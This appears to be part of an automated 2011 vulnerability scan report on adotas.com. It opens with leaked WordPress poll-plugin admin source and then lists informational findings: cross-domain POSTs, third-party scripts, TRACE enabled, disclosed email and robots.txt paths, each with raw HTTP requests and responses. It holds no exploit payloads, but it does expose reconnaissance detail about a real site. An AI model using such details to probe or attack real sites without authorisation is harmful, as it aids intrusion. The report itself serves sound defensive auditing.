<option value="0"<?php selected('0', $poll_ajax_style['fading']); ?>><?php _e('No', 'wp-polls'); ?></option>
                           <option value="1"<?php selected('1', $poll_ajax_style['fading']); ?>><?php _e('Yes', 'wp-polls'); ?></option>
...[SNIP]...
<legend><?php _e('Sorting Of Poll Answers', 'wp-polls'); ?></legend>
...[SNIP]...
<th align="left" width="30%"><?php _e('Sort Poll Answers By:', 'wp-polls'); ?></th>
...[SNIP]...
<option value="polla_aid"<?php selected('polla_aid', get_option('poll_ans_sortby')); ?>><?php _e('Exact Order', 'wp-polls'); ?></option>
                           <option value="polla_answers"<?php selected('polla_answers', get_option('poll_ans_sortby')); ?>><?php _e('Alphabetical Order', 'wp-polls'); ?></option>
...[SNIP]...
<th align="left" width="30%"><?php _e('Sort Order Of Poll Answers:', 'wp-polls'); ?></th>
...[SNIP]...
<option value="asc"<?php selected('asc', get_option('poll_ans_sortorder')); ?>><?php _e('Ascending', 'wp-polls'); ?></option>
                           <option value="desc"<?php selected('desc', get_option('poll_ans_sortorder')); ?>><?php _e('Descending', 'wp-polls'); ?></option>
...[SNIP]...
<legend><?php _e('Sorting Of Poll Results', 'wp-polls'); ?></legend>
...[SNIP]...
<th align="left" width="30%"><?php _e('Sort Poll Results By:', 'wp-polls'); ?></th>
...[SNIP]...
<option value="polla_votes"<?php selected('polla_votes', get_option('poll_ans_result_sortby')); ?>><?php _e('Votes', 'wp-polls'); ?></option>
                           <option value="polla_aid"<?php selected('polla_aid', get_option('poll_ans_result_sortby')); ?>><?php _e('Exact Order', 'wp-polls'); ?></option>
                           <option value="polla_answers"<?php selected('polla_answers', get_option('poll_ans_result_sortby')); ?>><?php _e('Alphabetical Order', 'wp-polls'); ?></option>
...[SNIP]...
<th align="left" width="30%"><?php _e('Sort Order Of Poll Results:', 'wp-polls'); ?></th>
...[SNIP]...
<option value="asc"<?php selected('asc', get_option('poll_ans_result_sortorder')); ?>><?php _e('Ascending', 'wp-polls'); ?></option>
                           <option value="desc"<?php selected('desc', get_option('poll_ans_result_sortorder')); ?>><?php _e('Descending', 'wp-polls'); ?></option>
...[SNIP]...
<legend><?php _e('Allow To Vote', 'wp-polls'); ?></legend>
...[SNIP]...
<th align="left" width="30%"><?php _e('Who Is Allowed To Vote?', 'wp-polls'); ?></th>
...[SNIP]...
<option value="0"<?php selected('0', get_option('poll_allowtovote')); ?>><?php _e('Guests Only', 'wp-polls'); ?></option>
                           <option value="1"<?php selected('1', get_option('poll_allowtovote')); ?>><?php _e('Registered Users Only', 'wp-polls'); ?></option>
                           <option value="2"<?php selected('2', get_option('poll_allowtovote')); ?>><?php _e('Registered Users And Guests', 'wp-polls'); ?></option>
...[SNIP]...
<legend><?php _e('Logging Method', 'wp-polls'); ?></legend>
...[SNIP]...
<th align="left" width="30%"><?php _e('Poll Logging Method:', 'wp-polls'); ?></th>
...[SNIP]...
<option value="0"<?php selected('0', get_option('poll_logging_method')); ?>><?php _e('Do Not Log', 'wp-polls'); ?></option>
                           <option value="1"<?php selected('1', get_option('poll_logging_method')); ?>><?php _e('Logged By Cookie', 'wp-polls'); ?></option>
                           <option value="2"<?php selected('2', get_option('poll_logging_method')); ?>><?php _e('Logged By IP', 'wp-polls'); ?></option>
                           <option value="3"<?php selected('3', get_option('poll_logging_method')); ?>><?php _e('Logged By Cookie And IP', 'wp-polls'); ?></option>
                           <option value="4"<?php selected('4', get_option('poll_logging_method')); ?>><?php _e('Logged By Username', 'wp-polls'); ?></option>
...[SNIP]...
<legend><?php _e('Poll Archive', 'wp-polls'); ?></legend>
...[SNIP]...
<th align="left" width="30%"><?php _e('Number Of Polls Per Page:', 'wp-polls'); ?></th>
...[SNIP]...
<input type="text" name="poll_archive_perpage" value="<?php echo intval(get_option('poll_archive_perpage')); ?>" size="2" />
...[SNIP]...
<th align="left" width="30%"><?php _e('Type Of Polls To Display In Poll Archive:', 'wp-polls'); ?></th>
...[SNIP]...
<option value="1"<?php selected('1', get_option('poll_archive_displaypoll')); ?>><?php _e('Closed Polls Only', 'wp-polls'); ?></option>
                           <option value="2"<?php selected('2', get_option('poll_archive_displaypoll')); ?>><?php _e('Opened Polls Only', 'wp-polls'); ?></option>
                           <option value="3"<?php selected('3', get_option('poll_archive_displaypoll')); ?>><?php _e('Closed And Opened Polls', 'wp-polls'); ?></option>
...[SNIP]...
<th align="left" width="30%"><?php _e('Poll Archive URL:', 'wp-polls'); ?></th>
...[SNIP]...
<input type="text" name="poll_archive_url" value="<?php echo get_option('poll_archive_url'); ?>" size="50" />
...[SNIP]...
<th align="left" width="30%"><?php _e('Display Poll Archive Link Below Poll?', 'wp-polls'); ?></th>
...[SNIP]...
<option value="0"<?php selected('0', get_option('poll_archive_show')); ?>><?php _e('No', 'wp-polls'); ?></option>
                           <option value="1"<?php selected('1', get_option('poll_archive_show')); ?>><?php _e('Yes', 'wp-polls'); ?></option>
...[SNIP]...
<em><?php _e('Note: Only polls\' results will be shown in the Poll Archive regardless of whether the poll is closed or opened.', 'wp-polls'); ?></em>
...[SNIP]...
<legend><?php _e('Current Active Poll', 'wp-polls'); ?></legend>
...[SNIP]...
<th align="left" width="30%"><?php _e('Current Active Poll', 'wp-polls'); ?>:</th>
...[SNIP]...
<option value="-1"<?php selected(-1, get_option('poll_currentpoll')); ?>><?php _e('Do NOT Display Poll (Disable)', 'wp-polls'); ?></option>
                           <option value="-2"<?php selected(-2, get_option('poll_currentpoll')); ?>><?php _e('Display Random Poll', 'wp-polls'); ?></option>
                           <option value="0"<?php selected(0, get_option('poll_currentpoll')); ?>><?php _e('Display Latest Poll', 'wp-polls'); ?></option>
                           <?php if(function_exists('dynamic_sidebar')) { ?>
                           <option value="-3"<?php selected(-3, get_option('poll_currentpoll')); ?>><?php _e('Display Multiple Polls', 'wp-polls'); ?></option>
                           <?php } ?>
                           <option value="0">
...[SNIP]...
</option>
                           <?php
                               $polls = $wpdb->get_results("SELECT pollq_id, pollq_question FROM $wpdb->pollsq ORDER BY pollq_id DESC");
                               if($polls) {
                                   foreach($polls as $poll) {
                                       $poll_question = stripslashes($poll->pollq_question);
                                       $poll_id = intval($poll->pollq_id);
                                       if($poll_id == intval(get_option('poll_currentpoll'))) {
                                           echo "<option value=\"$poll_id\" selected=\"selected\">$poll_question</option>\n";
                                       } else {
                                           echo "<option value=\"$poll_id\">$poll_question</option>\n";
                                       }
                                   }
                               }
                           ?>
                       </select>
...[SNIP]...
</tr>
               <?php if(function_exists('dynamic_sidebar')) { ?>
               <tr valign="top">
...[SNIP]...
<em><?php _e('Note: If you chose \'Display Multiple Polls\' for the above option, you need to configure it in Presentation -> Sidebar Widgets -> Poll.', 'wp-polls'); ?></em></th>
               </tr>
               <?php } ?>
                <tr valign="top">
...[SNIP]...
<th align="left" width="30%"><?php _e('When Poll Is Closed', 'wp-polls'); ?>:</th>
...[SNIP]...
<option value="1"<?php selected(1, get_option('poll_close')); ?>><?php _e('Display Poll\'s Results', 'wp-polls'); ?></option>
                           <option value="2"<?php selected(2, get_option('poll_close')); ?>><?php _e('Do Not Display Poll In Post/Sidebar', 'wp-polls'); ?></option>
...[SNIP]...
<input type="submit" name="Submit" class="button" value="<?php _e('Update Options', 'wp-polls'); ?>" />  <input type="button" name="cancel" value="<?php _e('Cancel', 'wp-polls'); ?>" class="button" onclick="javascript:history.go(-1)" />
...[SNIP]...

3. Cross-domain POST previous next
There are 4 instances of this issue:

/2011/08/hackers-target-facebook-over-data-collection/
/2011/08/hackers-target-facebook-over-data-collection/
/2011/08/netseer-pushes-concepts-not-keywords-for-contextual-targeting/
/2011/08/netseer-pushes-concepts-not-keywords-for-contextual-targeting/

Issue background

The POSTing of data between domains does not necessarily constitute a security vulnerability. You should review the contents of the information that is being transmitted between domains, and determine whether the originating application should be trusting the receiving domain with this information.

3.1. http://www.adotas.com/2011/08/hackers-target-facebook-over-data-collection/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.adotas.com
Path:	/2011/08/hackers-target-facebook-over-data-collection/

Issue detail

The page contains a form which POSTs data to the domain app.icontact.com. The form contains the following fields:

fields_ajkey
redirect
errorredirect
listid
specialid:57524
clientid
formid
reallistid
doubleopt
fields_email
Submit

Request

GET /2011/08/hackers-target-facebook-over-data-collection/ HTTP/1.1
Host: www.adotas.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: IN_HASH=zzzzzz%3Dyyyyy; joinadotas=joinadotas
Cache-Control: max-age=0

Response

3.2. http://www.adotas.com/2011/08/hackers-target-facebook-over-data-collection/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.adotas.com
Path:	/2011/08/hackers-target-facebook-over-data-collection/

Issue detail

The page contains a form which POSTs data to the domain app.icontact.com. The form contains the following fields:

fields_email
fields_ajkey
redirect
errorredirect
listid
specialid:57524
clientid
formid
reallistid
doubleopt
Submit

Request

GET /2011/08/hackers-target-facebook-over-data-collection/ HTTP/1.1
Host: www.adotas.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: IN_HASH=zzzzzz%3Dyyyyy; joinadotas=joinadotas
Cache-Control: max-age=0

Response

3.3. http://www.adotas.com/2011/08/netseer-pushes-concepts-not-keywords-for-contextual-targeting/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.adotas.com
Path:	/2011/08/netseer-pushes-concepts-not-keywords-for-contextual-targeting/

Issue detail

The page contains a form which POSTs data to the domain app.icontact.com. The form contains the following fields:

fields_ajkey
redirect
errorredirect
listid
specialid:57524
clientid
formid
reallistid
doubleopt
fields_email
Submit

Request

GET /2011/08/netseer-pushes-concepts-not-keywords-for-contextual-targeting/ HTTP/1.1
Host: www.adotas.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.adotas.com/2011/08/hackers-target-facebook-over-data-collection/
X-Moz: prefetch
Cookie: joinadotas=joinadotas; __utma=47048311.676888594.1313094455.1313094455.1313094455.1; __utmb=47048311; __utmc=47048311; __utmz=47048311.1313094470.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

3.4. http://www.adotas.com/2011/08/netseer-pushes-concepts-not-keywords-for-contextual-targeting/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.adotas.com
Path:	/2011/08/netseer-pushes-concepts-not-keywords-for-contextual-targeting/

Issue detail

The page contains a form which POSTs data to the domain app.icontact.com. The form contains the following fields:

fields_email
fields_ajkey
redirect
errorredirect
listid
specialid:57524
clientid
formid
reallistid
doubleopt
Submit

Request

GET /2011/08/netseer-pushes-concepts-not-keywords-for-contextual-targeting/ HTTP/1.1
Host: www.adotas.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.adotas.com/2011/08/hackers-target-facebook-over-data-collection/
X-Moz: prefetch
Cookie: joinadotas=joinadotas; __utma=47048311.676888594.1313094455.1313094455.1313094455.1; __utmb=47048311; __utmc=47048311; __utmz=47048311.1313094470.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

4. Cross-domain script include previous next
There are 2 instances of this issue:

/2011/08/hackers-target-facebook-over-data-collection/
/2011/08/netseer-pushes-concepts-not-keywords-for-contextual-targeting/

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

4.1. http://www.adotas.com/2011/08/hackers-target-facebook-over-data-collection/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.adotas.com
Path:	/2011/08/hackers-target-facebook-over-data-collection/

Issue detail

The response dynamically includes the following scripts from other domains:

http://cache-02.cleanprint.net/cpf/cleanprint?key=adotas
http://jsc.madisonlogic.com/jsc?pub=29&pgr=20&tgt=128&src=2166&layrf=5207
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://platform.linkedin.com/in.js
http://platform.twitter.com/widgets.js
http://rotator.adjuggler.com/servlet/ajrotator/328397/0/vj?z=adotas&dim=326876
http://rotator.adjuggler.com/servlet/ajrotator/328397/0/vj?z=adotas&dim=326878
http://rotator.adjuggler.com/servlet/ajrotator/328397/0/vj?z=adotas&dim=326879
http://rotator.adjuggler.com/servlet/ajrotator/328397/0/vj?z=adotas&dim=326885
http://s7.addthis.com/js/addthis_widget.php?v=12
http://static.ak.fbcdn.net/connect.php/js/FB.Share
http://www.google-analytics.com/urchin.js
https://apis.google.com/js/plusone.js

Request

GET /2011/08/hackers-target-facebook-over-data-collection/ HTTP/1.1
Host: www.adotas.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: IN_HASH=zzzzzz%3Dyyyyy; joinadotas=joinadotas
Cache-Control: max-age=0

Response

HTTP/1.1 200 OK
Date: Thu, 11 Aug 2011 20:29:48 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
X-Pingback: http://www.adotas.com/wp/xmlrpc.php
Link: <http://www.adotas.com/?p=26825>; rel=shortlink
Cache-Control: max-age=7200
Expires: Thu, 11 Aug 2011 22:29:48 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 84247

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>


<script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>
...[SNIP]...
<div id="top-ad">
<script language=JavaScript src="http://rotator.adjuggler.com/servlet/ajrotator/328397/0/vj?z=adotas&dim=326876"></script>
...[SNIP]...
<br />
<script language=JavaScript src="http://rotator.adjuggler.com/servlet/ajrotator/328397/0/vj?z=adotas&dim=326878"></script>
...[SNIP]...
</a><script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script><script type="text/javascript" src="http://s7.addthis.com/js/addthis_widget.php?v=12" ></script>
...[SNIP]...
</h6>
       <script language=JavaScript src="http://rotator.adjuggler.com/servlet/ajrotator/328397/0/vj?z=adotas&dim=326885"></script>
...[SNIP]...
</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
<div class="in-share">
<script type="text/javascript" src="http://platform.linkedin.com/in.js"></script>
...[SNIP]...

<script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>
...[SNIP]...
<div id="top-of-sidebar-ad">
       <script language=JavaScript src="http://rotator.adjuggler.com/servlet/ajrotator/328397/0/vj?z=adotas&dim=326879"></script>
...[SNIP]...

       <script type="text/javascript" src="http://jsc.madisonlogic.com/jsc?pub=29&pgr=20&tgt=128&src=2166&layrf=5207"></script>
...[SNIP]...

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

4.2. http://www.adotas.com/2011/08/netseer-pushes-concepts-not-keywords-for-contextual-targeting/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.adotas.com
Path:	/2011/08/netseer-pushes-concepts-not-keywords-for-contextual-targeting/

Issue detail

The response dynamically includes the following scripts from other domains:

http://cache-02.cleanprint.net/cpf/cleanprint?key=adotas
http://jsc.madisonlogic.com/jsc?pub=29&pgr=20&tgt=128&src=2166&layrf=5207
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://platform.linkedin.com/in.js
http://platform.twitter.com/widgets.js
http://rotator.adjuggler.com/servlet/ajrotator/328397/0/vj?z=adotas&dim=326876
http://rotator.adjuggler.com/servlet/ajrotator/328397/0/vj?z=adotas&dim=326878
http://rotator.adjuggler.com/servlet/ajrotator/328397/0/vj?z=adotas&dim=326879
http://rotator.adjuggler.com/servlet/ajrotator/328397/0/vj?z=adotas&dim=326885
http://s7.addthis.com/js/addthis_widget.php?v=12
http://static.ak.fbcdn.net/connect.php/js/FB.Share
http://www.google-analytics.com/urchin.js
https://apis.google.com/js/plusone.js

Request

GET /2011/08/netseer-pushes-concepts-not-keywords-for-contextual-targeting/ HTTP/1.1
Host: www.adotas.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.adotas.com/2011/08/hackers-target-facebook-over-data-collection/
X-Moz: prefetch
Cookie: joinadotas=joinadotas; __utma=47048311.676888594.1313094455.1313094455.1313094455.1; __utmb=47048311; __utmc=47048311; __utmz=47048311.1313094470.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

HTTP/1.1 200 OK
Date: Thu, 11 Aug 2011 20:30:30 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
X-Pingback: http://www.adotas.com/wp/xmlrpc.php
Link: <http://www.adotas.com/?p=26862>; rel=shortlink
Cache-Control: max-age=7200
Expires: Thu, 11 Aug 2011 22:30:30 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 84631

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>


<script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>
...[SNIP]...
<div id="top-ad">
<script language=JavaScript src="http://rotator.adjuggler.com/servlet/ajrotator/328397/0/vj?z=adotas&dim=326876"></script>
...[SNIP]...
<br />
<script language=JavaScript src="http://rotator.adjuggler.com/servlet/ajrotator/328397/0/vj?z=adotas&dim=326878"></script>
...[SNIP]...
</a><script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script><script type="text/javascript" src="http://s7.addthis.com/js/addthis_widget.php?v=12" ></script>
...[SNIP]...
</h6>
       <script language=JavaScript src="http://rotator.adjuggler.com/servlet/ajrotator/328397/0/vj?z=adotas&dim=326885"></script>
...[SNIP]...
</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
...[SNIP]...
<div class="in-share">
<script type="text/javascript" src="http://platform.linkedin.com/in.js"></script>
...[SNIP]...

<script type="text/javascript" src="https://apis.google.com/js/plusone.js"></script>
...[SNIP]...
<div id="top-of-sidebar-ad">
       <script language=JavaScript src="http://rotator.adjuggler.com/servlet/ajrotator/328397/0/vj?z=adotas&dim=326879"></script>
...[SNIP]...

       <script type="text/javascript" src="http://jsc.madisonlogic.com/jsc?pub=29&pgr=20&tgt=128&src=2166&layrf=5207"></script>
...[SNIP]...

<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
</script>
...[SNIP]...

5. TRACE method is enabled previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.adotas.com
Path:	/

Issue description

The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.

Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.

Issue remediation

The TRACE method should be disabled on the web server.

Request

TRACE / HTTP/1.0
Host: www.adotas.com
Cookie: 32188dab3ac8a5e8

Response

HTTP/1.1 200 OK
Date: Thu, 11 Aug 2011 20:29:39 GMT
Server: Apache
Connection: close
Content-Type: message/http

TRACE / HTTP/1.0
Host: www.adotas.com
Cookie: 32188dab3ac8a5e8; joinadotas=joinadotas

6. Email addresses disclosed previous next
There are 2 instances of this issue:

/2011/08/hackers-target-facebook-over-data-collection/
/2011/08/netseer-pushes-concepts-not-keywords-for-contextual-targeting/

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

6.1. http://www.adotas.com/2011/08/hackers-target-facebook-over-data-collection/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.adotas.com
Path:	/2011/08/hackers-target-facebook-over-data-collection/

Issue detail

The following email address was disclosed in the response:

partnership@adotas.com

Request

GET /2011/08/hackers-target-facebook-over-data-collection/ HTTP/1.1
Host: www.adotas.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: IN_HASH=zzzzzz%3Dyyyyy; joinadotas=joinadotas
Cache-Control: max-age=0

Response

6.2. http://www.adotas.com/2011/08/netseer-pushes-concepts-not-keywords-for-contextual-targeting/ previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.adotas.com
Path:	/2011/08/netseer-pushes-concepts-not-keywords-for-contextual-targeting/

Issue detail

The following email address was disclosed in the response:

partnership@adotas.com

Request

GET /2011/08/netseer-pushes-concepts-not-keywords-for-contextual-targeting/ HTTP/1.1
Host: www.adotas.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.adotas.com/2011/08/hackers-target-facebook-over-data-collection/
X-Moz: prefetch
Cookie: joinadotas=joinadotas; __utma=47048311.676888594.1313094455.1313094455.1313094455.1; __utmb=47048311; __utmc=47048311; __utmz=47048311.1313094470.1.1.utmccn=(referral)|utmcsr=fakereferrerdominator.com|utmcct=/referrerPathName|utmcmd=referral

Response

7. Robots.txt file previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.adotas.com
Path:	/wp/wp-includes/js/tw-sack.js

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: www.adotas.com

Response

HTTP/1.1 200 OK
Date: Thu, 11 Aug 2011 20:29:42 GMT
Server: Apache
Last-Modified: Sat, 14 May 2011 02:18:19 GMT
ETag: "a2304-28b-4a333092630c0"
Accept-Ranges: bytes
Content-Length: 651
Cache-Control: max-age=18180
Expires: Fri, 12 Aug 2011 01:32:42 GMT
Connection: close
Content-Type: text/plain

# Exclude Files From All Robots:

User-agent: *
# directories
Disallow: /wp
Disallow: /cgi-bin
Disallow: /db
Disallow: /neo-mail
Disallow: /newsletter*
Disallow: /partyinvite
Disallow: /stats
Disallow
...[SNIP]...

8. Content type incorrectly stated previous

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.adotas.com
Path:	/wp/wp-content/plugins/polls/polls-css.css

Issue detail

The response contains the following Content-type statement:

Content-Type: text/css

The response states that it contains CSS. However, it actually appears to contain HTML.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

Response

Report generated by XSS.CX at Thu Aug 11 15:47:32 GMT-06:00 2011.